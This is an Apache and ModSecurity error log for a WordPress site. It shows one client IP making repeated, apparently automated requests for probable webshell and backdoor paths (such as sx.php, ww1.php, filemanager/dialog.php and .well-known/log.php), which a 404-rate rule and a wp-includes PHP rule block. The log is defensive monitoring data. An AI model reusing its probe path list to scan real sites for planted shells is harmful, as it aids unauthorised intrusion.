[Sun Mar 01 23:49:08.684373 2026] [:error] [pid 40750:tid 40763] [client 20.104.124.39:1673] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaRf9AfBuk03yQKDyqusFAAAAco"]
[Sun Mar 01 23:49:10.426055 2026] [:error] [pid 37032:tid 37040] [client 20.104.124.39:1713] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaRf9uu0U4o7eSImsVSXOQAAAYY"]
[Sun Mar 01 23:49:13.206258 2026] [:error] [pid 7165:tid 7186] [client 20.104.124.39:26976] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aaRf-RRjCrA8qWBjgG_MqAAAAlM"]
[Sun Mar 01 23:49:15.643332 2026] [:error] [pid 38241:tid 38246] [client 20.104.124.39:1664] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aaRf-_KRPk6YnJBxw_xbQAAAAMI"]
[Sun Mar 01 23:49:17.667993 2026] [:error] [pid 7133:tid 7148] [client 20.104.124.39:26946] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aaRf_fCtubh8pR64qB9-aQAAAE0"]
[Sun Mar 01 23:49:19.346293 2026] [:error] [pid 7165:tid 7167] [client 20.104.124.39:1668] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aaRf_xRjCrA8qWBjgG_MxwAAAkA"]
[Sun Mar 01 23:49:20.192373 2026] [:error] [pid 7165:tid 7176] [client 20.104.124.39:1683] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaRgABRjCrA8qWBjgG_MygAAAkk"]
[Sun Mar 01 23:49:21.650742 2026] [:error] [pid 7133:tid 7138] [client 20.104.124.39:26950] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaRgAfCtubh8pR64qB9-cQAAAEM"]
[Sun Mar 01 23:49:22.592113 2026] [:error] [pid 38241:tid 38259] [client 20.104.124.39:1752] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aaRgAvKRPk6YnJBxw_xbSgAAAM8"]
[Sun Mar 01 23:49:25.628819 2026] [proxy_fcgi:error] [pid 40750:tid 40776] [client 20.104.124.39:26988] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:49:25.849011 2026] [proxy_fcgi:error] [pid 40750:tid 40764] [client 20.104.124.39:26988] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:49:26.079148 2026] [proxy_fcgi:error] [pid 40750:tid 40767] [client 20.104.124.39:26988] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:49:26.293723 2026] [proxy_fcgi:error] [pid 40750:tid 40758] [client 20.104.124.39:26988] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:49:26.541848 2026] [proxy_fcgi:error] [pid 40750:tid 40773] [client 20.104.124.39:26988] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:49:27.203167 2026] [proxy_fcgi:error] [pid 40750:tid 40762] [client 20.104.124.39:26988] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:49:27.411977 2026] [:error] [pid 40750:tid 40759] [client 20.104.124.39:26988] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaRgBwfBuk03yQKDyqusYwAAAcY"]
[Sun Mar 01 23:49:32.344855 2026] [:error] [pid 38241:tid 38258] [client 20.104.124.39:1704] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aaRgDPKRPk6YnJBxw_xbUwAAAM4"]
[Sun Mar 01 23:49:36.658505 2026] [:error] [pid 7165:tid 7186] [client 20.104.124.39:26912] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaRgEBRjCrA8qWBjgG_NCwAAAlM"]
[Sun Mar 01 23:49:39.483800 2026] [:error] [pid 38241:tid 38263] [client 20.104.124.39:1754] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaRgE_KRPk6YnJBxw_xbZQAAANM"]
[Sun Mar 01 23:49:46.156779 2026] [:error] [pid 38034:tid 38051] [client 20.104.124.39:1767] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaRgGgxtfZjwlJok9K81dQAAAQ0"]
[Sun Mar 01 23:49:48.613804 2026] [:error] [pid 37032:tid 37047] [client 20.104.124.39:1773] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaRgHOu0U4o7eSImsVSXRwAAAY0"]
[Sun Mar 01 23:49:50.522537 2026] [:error] [pid 37032:tid 37056] [client 20.104.124.39:26964] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaRgHuu0U4o7eSImsVSXSQAAAZY"]
[Sun Mar 01 23:49:54.154902 2026] [:error] [pid 7133:tid 7150] [client 20.104.124.39:1688] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaRgIvCtubh8pR64qB9-mgAAAE8"]
[Sun Mar 01 23:49:57.410643 2026] [:error] [pid 38241:tid 38258] [client 20.104.124.39:1671] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaRgJfKRPk6YnJBxw_xbdAAAAM4"]
[Sun Mar 01 23:49:59.263691 2026] [:error] [pid 7165:tid 7173] [client 20.104.124.39:1680] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaRgJxRjCrA8qWBjgG_NbgAAAkY"]
[Sun Mar 01 23:50:01.591278 2026] [:error] [pid 40750:tid 40757] [client 20.104.124.39:26893] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaRgKQfBuk03yQKDyqushwAAAcQ"]
[Sun Mar 01 23:50:04.056401 2026] [:error] [pid 40750:tid 40775] [client 20.104.124.39:26993] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index/function.php"] [unique_id "aaRgLAfBuk03yQKDyqusjwAAAdY"]
[Sun Mar 01 23:50:05.651406 2026] [:error] [pid 33822:tid 33826] [client 20.104.124.39:26911] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index/function.php"] [unique_id "aaRgLW6W3ygu1YVssuZHoAAAAoI"]
[Sun Mar 01 23:50:10.529969 2026] [:error] [pid 38241:tid 38266] [client 20.104.124.39:1763] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index/function.php"] [unique_id "aaRgMvKRPk6YnJBxw_xbqwAAANY"]
[Sun Mar 01 23:50:13.169655 2026] [:error] [pid 7165:tid 7171] [client 20.104.124.39:26459] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index/function.php"] [unique_id "aaRgNRRjCrA8qWBjgG_NpQAAAkQ"]
[Sun Mar 01 23:50:17.491999 2026] [:error] [pid 7165:tid 7167] [client 20.104.124.39:26998] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaRgORRjCrA8qWBjgG_NvQAAAkA"]
[Sun Mar 01 23:50:21.227278 2026] [:error] [pid 7165:tid 7170] [client 20.104.124.39:1740] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaRgPRRjCrA8qWBjgG_NwQAAAkM"]
[Sun Mar 01 23:50:24.528669 2026] [:error] [pid 38241:tid 38253] [client 20.104.124.39:1746] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaRgQPKRPk6YnJBxw_xb1AAAAMk"]
[Sun Mar 01 23:50:26.370809 2026] [:error] [pid 44644:tid 44664] [client 20.104.124.39:26972] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aaRgQp3RJaXMcw3y9V_ujgAAABE"]
[Sun Mar 01 23:50:31.243658 2026] [:error] [pid 7165:tid 7185] [client 20.104.124.39:1696] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaRgRxRjCrA8qWBjgG_N3AAAAlI"]
[Sun Mar 01 23:50:33.919548 2026] [:error] [pid 38034:tid 38058] [client 20.104.124.39:1724] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ww1.php"] [unique_id "aaRgSQxtfZjwlJok9K81kQAAARQ"]
[Sun Mar 01 23:50:35.753636 2026] [:error] [pid 33822:tid 33844] [client 20.104.124.39:1774] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ww1.php"] [unique_id "aaRgS26W3ygu1YVssuZHsAAAApQ"]
[Sun Mar 01 23:50:37.599496 2026] [proxy_fcgi:error] [pid 7165:tid 7183] [client 20.104.124.39:1750] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:50:38.303870 2026] [proxy_fcgi:error] [pid 7165:tid 7185] [client 20.104.124.39:1750] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:50:38.731845 2026] [proxy_fcgi:error] [pid 7165:tid 7168] [client 20.104.124.39:1750] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:50:39.826561 2026] [:error] [pid 7165:tid 7181] [client 20.104.124.39:1750] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaRgTxRjCrA8qWBjgG_OAwAAAk4"]
[Sun Mar 01 23:50:42.880436 2026] [:error] [pid 40750:tid 40767] [client 20.104.124.39:26979] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaRgUgfBuk03yQKDyqus6gAAAc4"]
[Sun Mar 01 23:50:45.649746 2026] [:error] [pid 38241:tid 38256] [client 20.104.124.39:1665] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaRgVfKRPk6YnJBxw_xb9QAAAMw"]
[Sun Mar 01 23:50:48.040917 2026] [:error] [pid 7133:tid 7146] [client 20.104.124.39:1700] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaRgWPCtubh8pR64qB9-4gAAAEs"]
[Sun Mar 01 23:50:50.380482 2026] [:error] [pid 7133:tid 7139] [client 20.104.124.39:1679] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaRgWvCtubh8pR64qB9-9gAAAEQ"]
[Sun Mar 01 23:50:52.150248 2026] [:error] [pid 33822:tid 33840] [client 20.104.124.39:1760] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaRgXG6W3ygu1YVssuZHvgAAApA"]
[Sun Mar 01 23:50:53.211046 2026] [:error] [pid 40750:tid 40776] [client 20.104.124.39:1691] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaRgXQfBuk03yQKDyqutBQAAAdc"]
[Sun Mar 01 23:50:54.066132 2026] [:error] [pid 7165:tid 7190] [client 20.104.124.39:1720] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaRgXhRjCrA8qWBjgG_OQgAAAlc"]
[Sun Mar 01 23:50:55.209473 2026] [:error] [pid 7165:tid 7191] [client 20.104.124.39:1706] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaRgXxRjCrA8qWBjgG_OSQAAAlg"]
[Sun Mar 01 23:50:56.431562 2026] [:error] [pid 40750:tid 40759] [client 20.104.124.39:1694] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaRgYAfBuk03yQKDyqutEAAAAcY"]
[Sun Mar 01 23:50:58.564594 2026] [:error] [pid 7165:tid 7189] [client 20.104.124.39:1733] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaRgYhRjCrA8qWBjgG_OYAAAAlY"]
[Sun Mar 01 23:51:00.360069 2026] [:error] [pid 7165:tid 7179] [client 20.104.124.39:1714] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaRgZBRjCrA8qWBjgG_ObgAAAkw"]
[Sun Mar 01 23:51:02.279398 2026] [:error] [pid 7165:tid 7167] [client 20.104.124.39:1701] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaRgZhRjCrA8qWBjgG_OfgAAAkA"]
[Sun Mar 01 23:51:04.432967 2026] [:error] [pid 40750:tid 40754] [client 20.104.124.39:1751] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaRgaAfBuk03yQKDyqutJQAAAcE"]
[Sun Mar 01 23:51:06.152735 2026] [:error] [pid 41780:tid 41794] [client 20.104.124.39:1765] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaRgasONkVoocLIqzy05QgAAA8s"]
[Sun Mar 01 23:51:07.843933 2026] [:error] [pid 40750:tid 40762] [client 20.104.124.39:1710] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaRgawfBuk03yQKDyqutKAAAAck"]
[Sun Mar 01 23:51:10.036343 2026] [:error] [pid 38241:tid 38246] [client 20.104.124.39:26961] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaRgbvKRPk6YnJBxw_xcGQAAAMI"]
[Sun Mar 01 23:51:12.543242 2026] [:error] [pid 7133:tid 7146] [client 20.104.124.39:1769] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aaRgcPCtubh8pR64qB9_FQAAAEs"]
[Sun Mar 01 23:51:14.528148 2026] [:error] [pid 7133:tid 7155] [client 20.104.124.39:1698] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aaRgcvCtubh8pR64qB9_GgAAAFQ"]
[Sun Mar 01 23:51:16.936291 2026] [:error] [pid 40750:tid 40777] [client 20.104.124.39:1785] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aaRgdAfBuk03yQKDyqutfAAAAdg"]
[Sun Mar 01 23:51:18.558572 2026] [:error] [pid 7165:tid 7180] [client 20.104.124.39:1667] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/log.php"] [unique_id "aaRgdhRjCrA8qWBjgG_OsgAAAk0"]
